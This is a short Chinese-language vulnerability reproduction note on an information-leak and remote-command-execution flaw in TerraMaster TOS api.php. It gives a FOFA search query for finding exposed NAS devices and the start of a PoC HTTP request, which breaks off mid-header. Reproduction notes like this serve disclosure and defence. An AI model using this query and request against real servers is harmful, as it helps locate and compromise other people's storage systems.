TerraMaster TOS api.php 信息泄露和远程命令执行

TerraMaster TOS api.php 信息泄露和远程命令执行漏洞复现

1.漏洞介绍

erramasterTOS 是中国深圳市图美电子技术（Terramaster）公司的一款基于 Linux 平台的，专用于 erraMaster 云存储 NAS 服务器的操作系统。TerramasterTOS 系统 api.php 存在信息泄露 / 远程代码执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷

2.漏洞编号

CVE	CNVD	CNNVD
-	-	-

3.影响范围

名称	版本号
	-

4.检索特征

FOFA：“TerraMaster” && header=“TOS”

5.POC

查看信息泄露

GET /module/api.php?mobile/webNasIPS HTTP/1.1
Host: 
Us